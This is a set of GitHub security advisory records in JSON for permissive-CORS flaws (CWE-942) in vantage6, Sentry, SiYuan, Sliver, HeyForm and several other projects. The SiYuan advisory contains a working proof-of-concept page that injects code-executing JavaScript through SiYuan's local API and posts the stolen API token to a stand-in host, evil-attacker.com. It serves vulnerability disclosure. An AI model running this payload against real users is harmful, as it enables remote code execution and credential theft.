CWE-942

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "vantage6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-15T16:42:55Z",
    "nvd_published_at": "2024-03-14T19:15:49Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe vantage6 server has no restrictions on CORS settings. It should be possible for people to set the allowed origins of the server. \n\nThe impact is limited because v6 does not use session cookies\n\n### Patches\nNo\n\n### Workarounds\nNo",
  "id": "GHSA-4946-85pr-fvxh",
  "modified": "2024-03-15T16:42:55Z",
  "published": "2024-03-15T16:42:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vantage6/vantage6/security/advisories/GHSA-4946-85pr-fvxh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vantage6/vantage6/commit/70bb4e1d889230a841eb364d6c03accd7dd01a41"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vantage6/vantage6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vantage6\u0027s CORS settings overly permissive"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-57957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-29T18:16:41Z",
    "severity": "LOW"
  },
  "details": "Papermark through 0.22.0 contains a cross-origin resource sharing (CORS) misconfiguration vulnerability that allows unauthenticated remote attackers to perform credentialed cross-origin requests by exploiting the TUS-based viewer upload endpoint reflecting arbitrary request Origins with Access-Control-Allow-Credentials set to true. Attackers can lure authenticated victims to malicious pages that silently issue credentialed cross-origin requests to upload arbitrary files into victim datarooms and read credentialed responses.",
  "id": "GHSA-4cq7-5c7c-cc5r",
  "modified": "2026-06-29T18:31:56Z",
  "published": "2026-06-29T18:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57957"
    },
    {
      "type": "WEB",
      "url": "https://github.com/papermark/papermark/issues/2178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AstoKr/papermark/pull/1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/papermark-cors-misconfiguration-in-viewer-upload-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sentry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.6.0"
            },
            {
              "fixed": "23.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-863",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-06T22:55:44Z",
    "nvd_published_at": "2023-07-06T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe Sentry API incorrectly returns the `access-control-allow-credentials: true` HTTP header if the `Origin` request header ends with the `system.base-hostname` option of Sentry installation. This only affects installations that have `system.base-hostname` option explicitly set, as it is empty by default.\n\nImpact is limited since recent versions of major browsers have cross-site cookie blocking enabled by default. However, this flaw could allow other multi-step attacks.\n\n### Patches\nThe patch has been released in [Sentry 23.6.2](https://github.com/getsentry/self-hosted/releases/tag/23.6.2).\n\n### Workarounds\n\nFor Sentry SaaS customers, no action is needed.\n\nFor self-hosted Sentry installations that have `system.base-hostname` explicitly set, it is recommended to upgrade the installation to 23.6.2 or higher. There are no known workarounds.\n\n### References\n- [getsentry/sentry PR #52276](https://github.com/getsentry/sentry/pull/52276)\n\n### Credits\n- [@andr0idp4r4n0id](https://twitter.com/andr0idp4r4n0id)",
  "id": "GHSA-4xqm-4p72-87h6",
  "modified": "2023-07-06T22:55:44Z",
  "published": "2023-07-06T22:55:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/security/advisories/GHSA-4xqm-4p72-87h6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/pull/52276"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/commit/19248fb9802c252665b802aeab02fdc65ed47dc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/commit/ee44c6be35e5e464bc40637580f39867898acd8b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/self-hosted/releases/tag/23.6.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getsentry/sentry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/sentry/PYSEC-2023-115.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sentry CORS misconfiguration"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-56076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T23:16:19Z",
    "severity": "HIGH"
  },
  "details": "PraisonAI before 1.5.128 contains a cross-origin agent execution vulnerability in the AGUI endpoint that allows remote attackers to trigger arbitrary agent execution. The POST /agui endpoint lacks authentication and hardcodes Access-Control-Allow-Origin: * headers, combined with Starlette\u0027s Content-Type-agnostic JSON parsing, enabling attackers to bypass CORS preflight checks via simple requests and exfiltrate sensitive agent responses including tool execution results and environment data.",
  "id": "GHSA-5fr5-2c3f-3fcr",
  "modified": "2026-06-19T00:31:37Z",
  "published": "2026-06-19T00:31:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x462-jjpc-q4q4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56076"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-cross-origin-agent-execution-via-hardcoded-wildcard-cors-and-missing-authentication-on-agui-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-47717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Last Yard 22.09.8-1 is vulnerable to Cross-origin resource sharing (CORS).",
  "id": "GHSA-5qww-r3f5-w3w9",
  "modified": "2023-02-08T21:30:19Z",
  "published": "2023-02-01T15:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47717"
    },
    {
      "type": "WEB",
      "url": "https://github.com/l00neyhacker/CVE-2022-47717"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-10315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-11T20:15:17Z",
    "severity": "MODERATE"
  },
  "details": "In Gliffy Online an insecure configuration was discovered in versions before 4.14.0-6",
  "id": "GHSA-62gp-cqpw-rgh4",
  "modified": "2024-11-11T21:31:48Z",
  "published": "2024-11-11T21:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10315"
    },
    {
      "type": "WEB",
      "url": "https://portal.perforce.com/s/detail/a91PA000001SZVJYA4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:29:00Z",
    "nvd_published_at": "2026-03-31T22:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron\u0027s Node.js context with full OS access the next time the user opens SiYuan\u0027s UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.\n\n### Details\n\n**Vulnerable files:**\n- `kernel/server/serve.go`, lines 960-963 \u2014 CORS middleware\n- `kernel/api/snippet.go`, lines 93-128 \u2014 snippet injection endpoint\n\n**Root cause:** The CORS middleware unconditionally sets:\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Private-Network: true\n```\n\nThe `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome\u0027s Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.\n\nThe auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.\n\n**Attack chain:**\n1. User visits `https://evil-attacker.com` while SiYuan desktop is running\n2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` \u2014 SiYuan responds with permissive CORS headers\n3. Browser sends actual POST to `/api/snippet/setSnippet` with the user\u0027s session cookie\n4. SiYuan accepts the request and saves a malicious JS snippet\n5. The snippet executes in Electron\u0027s renderer process with Node.js integration, achieving arbitrary code execution\n\n### PoC\n\n**Malicious webpage (hosted on any domain):**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eInnocent looking page\u003c/h1\u003e\n\u003cscript\u003e\n// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js\nfetch(\u0027http://127.0.0.1:6806/api/snippet/setSnippet\u0027, {\n  method: \u0027POST\u0027,\n  credentials: \u0027include\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({\n    snippets: [{\n      id: \u0027exploit-\u0027 + Date.now(),\n      name: \u0027system-update\u0027,\n      type: \u0027js\u0027,\n      content: \u0027require(\"child_process\").exec(\"id \u003e /tmp/siyuan-rce-proof\")\u0027,\n      enabled: true\n    }]\n  })\n}).then(r =\u003e r.json()).then(d =\u003e {\n  console.log(\u0027Snippet injected:\u0027, d);\n});\n\n// Step 2 (optional): Exfiltrate API token and all notes\nfetch(\u0027http://127.0.0.1:6806/api/system/getConf\u0027, {\n  method: \u0027POST\u0027,\n  credentials: \u0027include\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}\n}).then(r =\u003e r.json()).then(d =\u003e {\n  // Send API token and config to attacker server\n  fetch(\u0027https://evil-attacker.com/collect\u0027, {\n    method: \u0027POST\u0027,\n    body: JSON.stringify(d.data)\n  });\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Verification steps:**\n\n1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)\n2. Login to SiYuan in a browser to establish a session cookie\n3. In the same browser, navigate to the malicious page\n4. Verify snippet was injected:\n```bash\ncurl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \\\n  -H \"Content-Type: application/json\" \\\n  -b \u003csession-cookie\u003e \\\n  -d \u0027{\"type\":\"all\",\"enabled\":2}\u0027\n```\n\n**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated \u2014 all in a single page load.\n\n### Impact\n\n- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user\u0027s machine via Electron\u0027s Node.js integration. The attacker gains full control with the user\u0027s privileges.\n- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.\n- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.\n- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome\u0027s Private Network Access protection that would otherwise block this attack.\n- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.",
  "id": "GHSA-68p4-j234-43mv",
  "modified": "2026-04-06T16:40:06Z",
  "published": "2026-03-31T23:29:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/issues/17246"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-82291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T20:20:20Z",
    "severity": "HIGH"
  },
  "details": "HeyForm before 3.0.0-rc.8 reflects the request Origin header in CORS responses while allowing credentials, enabling cross-origin requests with authentication. Attackers can execute authenticated GraphQL queries from malicious pages visited by logged-in users to access workspaces, projects, forms, submissions, and respondent data, or modify account settings.",
  "id": "GHSA-69g7-vm8m-997r",
  "modified": "2026-08-28T21:31:28Z",
  "published": "2026-08-28T21:31:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform/security/advisories/GHSA-fg7j-rmgr-rc9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform/commit/bf9d738ca70ae5641c0c7372982b00365c5144d4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform/blob/v3.0.0-rc.7/packages/server/src/main.ts"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/heyform-reflects-any-origin-in-cors-responses-while-allowing-credentials"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:07:48Z",
    "nvd_published_at": "2026-03-31T16:16:32Z",
    "severity": "MODERATE"
  },
  "details": "A single click on a malicious link gives an unauthenticated attacker immediate, silent control over every active C2 session or beacon, capable of exfiltrating all collected target data (e.g. SSH keys, `ntds.dit`) or destroying the entire compromised infrastructure, entirely through the operator\u0027s own browser.\n\n## Description\nThe Sliver MCP server runs inside the Sliver Client and binds an unauthenticated HTTP and SSE interface to `localhost:8080` by default. The service returns a permissive `Access-Control-Allow-Origin: *` header on all responses.\n\nBecause this server is client-side, the attack surface is distributed across every individual operator in the operation. Any arbitrary website can issue cross-origin requests and interact with the MCP interface via an operator\u0027s browser, no credentials required.\n\nIf the interface is misconfigured to bind to all interfaces (`0.0.0.0`), the vulnerability escalates from a client-side CSRF/CORS issue to direct, unauthenticated remote access from any actor on the network.\n\n\n## Exposed Methods\nExploitation grants unauthorized access to the following MCP tools:\n- `list_sessions_and_beacons`\n- `fs_ls`, `fs_pwd`, `fs_cd`\n- `fs_cat`\n- `fs_rm`, `fs_mv`, `fs_cp`, `fs_mkdir`\n- `fs_chmod`, `fs_chown`\n\n## PoC \n1. Start the Sliver client with MCP enabled (default `localhost:8080`)\n2. Open a browser and load a page containing the [Proof of Concept JavaScript](https://github.com/skoveit/CVE-2026-34227).\n3. Observe that the page successfully lists sessions and can issue filesystem commands against live implants, with no authentication\n\n## Impact Assessment\nSuccessful exploitation results in total operational compromise.\n- **Direct Infrastructure Exposure:** If misconfigured to `0.0.0.0`, the C2 framework becomes fully accessible to any actor on the network or internet without requiring operator interaction.\n- **Information Leakage:** Complete visibility into active sessions, deployed beacons, and file system structures (`list_sessions_and_beacons`, `fs_ls`, `fs_pwd`).\n- **Arbitrary File Read:** Covert exfiltration of any target data (e.g., SSH keys, `ntds.dit`) through the C2 channel (`fs_cat`).\n- **Integrity \u0026 Availability Loss:** Arbitrary deletion or modification of files on compromised targets, leading to potential sabotage or denial of service (`fs_rm`, `fs_mv`, `fs_cp`).\n\n**Severity: Critical**\n\n\n\n## Attack Scenarios\n**Scenario 1: Data Exfiltration via Drive-by Execution (Default Localhost)** An operator clicks a link to a benign-looking site hosting malicious JavaScript (e.g. via open redirect). The script executes commands against `localhost:8080`, retrieves the operator\u0027s target list, and silently downloads sensitive files (e.g., a target\u0027s `ntds.dit`) using the operator\u0027s existing C2 connections.\n\n **Scenario 2: Campaign Neutralization (Default Localhost)** A malicious site lures an operator to a controlled domain. Embedded JavaScript immediately issues `fs_rm` commands across all active implants, mass-deleting beacons and permanently severing operator access to the target network in a single click.\n\n **Scenario 3: Direct Takeover (0.0.0.0 Misconfiguration)** An operator configures the MCP interface to listen on `0.0.0.0` for team access. An external attacker scans the network, discovers the exposed port, and directly issues unauthenticated API calls to hijack active sessions, drop connections, or exfiltrate data.\n \n \n## Technical Root Cause\nThe vulnerability stems from an insecure integration with the `mcp-go` library. While the library hardcodes permissive CORS (`Access-Control-Allow-Origin: *`), it also fails to validate the `Content-Type` header. This allows an attacker to use Simple Requests (e.g., `text/plain`) to bypass the browser\u0027s CORS preflight (`OPTIONS`) check entirely, making the attack highly reliable across all modern browsers without any additional techniques.\n\nFurthermore, the Sliver implementation fails to implement any authentication middleware or origin restrictions to protect the sensitive RPC interface, meaning even if the CORS behavior were corrected upstream in `mcp-go`, the endpoint would remain fully unauthenticated.\n\n\n---\n\n ## Demo\n \nhttps://github.com/user-attachments/assets/b18216c2-2c0b-41a2-aa39-229b3f148c24",
  "id": "GHSA-6fpf-248c-m7wm",
  "modified": "2026-03-31T23:07:48Z",
  "published": "2026-03-31T23:07:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-6fpf-248c-m7wm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34227"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sliver One-Click Remote Access: Insecure CORS \u0026 Unauthenticated MCP Interface"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-45642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-14T12:15:18Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security ReaQta 3.12 is vulnerable to cross-site scripting. This vulnerability allows a privileged user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.",
  "id": "GHSA-6j5p-p5gv-2c73",
  "modified": "2024-11-14T12:31:03Z",
  "published": "2024-11-14T12:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45642"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7172212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}